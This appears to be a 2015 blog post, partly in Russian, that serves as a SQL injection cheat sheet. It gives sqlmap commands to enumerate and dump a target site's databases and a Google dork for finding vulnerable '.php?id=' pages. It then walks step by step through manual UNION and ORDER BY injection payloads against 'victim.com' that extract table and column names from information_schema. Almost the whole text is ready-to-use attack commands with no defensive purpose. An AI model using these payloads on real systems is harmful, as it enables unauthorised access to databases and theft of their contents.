21.04.2015

sqlmap sql Injection tip

#to check----->

sqlmap -u www.target.co.id --dbs
sqlmap -u www.target.co.id -D nama_database --tables
sqlmap -u www.target.co.id -D nama_database -T nama_table --columns
sqlmap -u www.target.co.id -D nama_database -T nama_table --dump


#google-dorks----->
sqlmap.py -g "inurl:\".php?id=1\""

Доп параметры:

-r request.txt
(полное тело запроса(с кукисами и другими параметрами)можно скопировать с burp)

-f (более подробные тесты для определения СУБД)
-b (баннер-граббинг)
--batch (автоответы на вопросы от sqlmap)

sqlmap -r request.txt -f -b  --dbs --batch


---------
ПОЛЯ
---------
Для начала мы должны узнать количество полей в таблице и узнать значение какого поля высвечивается, чтобы потом через это поля выудить информацию.
Сделать это можно двумя способами.
Способ первый:
Банально перебирая количество полей, пока сообщение об ошибке не исчезнет. Пример:
http://www.victim.com/news.php?id=1+union+select+1,2,3,4/* и так далее.
Способ второй:
С помощью оператора ORDER BY, который формирует порядок сортировки полей по номеру (и не только), поля, т.е если выражение:
http://www.victim.com/news.php?id=1+order+by+5/*
не выдаст ошибку - это значит что в запросе используется как минимум 5 полей. Ввожу еще одно выражение:
http://www.victim.com/news.php?id=1+order+by+13/*
Это выражение выполнится с ошибкой, т.к. 13 -го поля не существует и теперь нам известно что полей в выражении не меньше 5 и не больше 12. Выбираю любое число из этого диапазона (примерно среднее):
http://www.victim.com/news.php?id=1+order+by+8/*
Ошибки нет, а это значит что количество полей находится в диапазоне от 8 до 12, Еще раз:
http://www.victim.com/news.php?id=1+order+by+10/*
Ошибка!. т.е количество полей или 8 или 9, остается только попробывать:
http://www.victim.com/news.php?id=1+order+by+9/*
Ошибки нет. Т.о. мы узнали что количество полей равно 9.
Получаем определенную информацию.
Т.к. мы знаем что у нас 9 полей мы можем составить работающее выражение:
http://www.victim.com/news.php?id=1+union+select+1,2,3,4,5,6,7,8,9/*.
Итак, мы узнали количество полей. Их 9. Предположим что высвечивается значения 1, 2 и 3 поля.
-----------
ИМЕНА
-----------
Чтобы вытянуть информацию нужно сначала узнать имена таблиц и полей.
Ну чтож, начнем.
Есть такая замечательная БД INFORMATION_SCHEMA и в ней есть замечательная таблица TABLES и в ней есть замечательные поля TABLE_SCHEMA и TABLE_NAME. Вот с их помощю мы и узнаем имена таблиц. Вот запрос:
http://www.victim.com/news.php?id=1+union+select+table_schema,table_name,3,4,5,6,7,8,9+from+information_schema.tables.
Теперь в нашем броузере отобрязятся все таблицы Базы Данных.
Остается узнать имена полей. Для этого набираем в адресной строке
http://www.victim.com/news.php?id=1+union+select+1,column_name,3,4,5,6,7,8,9+from+information_schema.columns.
Как можно увидеть мы поставляем имена полей вместой той цифры которая отображается на экране.
-